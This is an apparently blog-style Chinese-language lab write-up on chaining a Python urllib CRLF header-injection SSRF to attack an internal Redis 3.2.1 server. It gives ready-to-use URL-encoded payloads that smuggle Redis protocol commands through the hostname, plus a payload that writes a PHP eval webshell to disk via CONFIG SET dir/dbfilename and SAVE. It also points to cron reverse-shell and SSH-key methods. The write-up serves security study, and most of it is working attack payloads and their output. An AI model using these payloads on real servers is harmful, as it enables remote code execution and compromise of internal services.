0x00 测试环境
docker环境:
1 | redis_3.2.1: |
容器内网ip为192.168.0.7,直接内网访问6379端口。
0x01 如何攻击Redis
两种方案,具体看参考链接。原理都是一样的,写文件到目标目录。
1 | CONFIG SET dir /tmp |
上述Redis命令可以使key-value
数据保存在/tmp/evil
文件中,也就是我们可以控制里面的部分内容:
0x02 Python urllib HTTP头注入
简单使用一下代码测试访问url:
1 | import urllib |
这里是个SSRF漏洞,当输入一下payload,还能注入我们想要的http头数据: 输入:
1 | python urlopen.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo |
监听本机12345端口,得到发包数据:
1 | GET /foo HTTP/1.0 |
不仅如此,还可以改变请求构造为POST数据。具体参考链接1。和Gopher协议有同样的妙用。
0x03 结合攻击Redis
发送payload到内网Redis端口:
1 | http://192.168.0.7%0d%0aSET%20A%20EVIL%0d%0a:6379/foo |
可以在Redis中添加A:EVIL
的键值对,即:执行了SET A EVIL
命令。数据包为:
1 | GET /foo HTTP/1.0 |
0x04 实际shell攻击
1. 写入空格限制
Redis协议突破空格限制:
1 | *3 |
url编码得到payload:
1 | http://192.168.0.7%0D%0A%2a3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0AA%0D%0A%248%0D%0Atest%20you%0D%0A:6379/foo |
测试结果如下,成功执行命令:
1 | 127.0.0.1:6379> get A |
2. 综合利用写文件
测试payload直接写文件: redis原命令:
1 | SET foo \n<?php @eval($_POST[c][/c]);?>\n |
即:
1 | *3 |
按照上述编码规则可得payload:
1 | python urlopen.py http://192.168.0.7%0D%0A%2a3%0D%0A%243%0D%0ASET%0D%0A%245%0D%0Ashell%0D%0A%2427%0D%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5Bc%5D%29%3B%3F%3E%0A%0D%0ACONFIG%20SET%20dir%20%2ftmp%0D%0ACONFIG%20SET%20dbfilename%20webshell123%0D%0ASAVE%0D%0A:6379/foo |
成功写入shell到/tmp/webshell123文件中,文件内容如下: 定时任务反弹shell和添加ssh-key方法,详见链接2。
0x05 参考
http://www.evil0x.com/posts/25330.html
https://security.tencent.com/index.php/blog/msg/106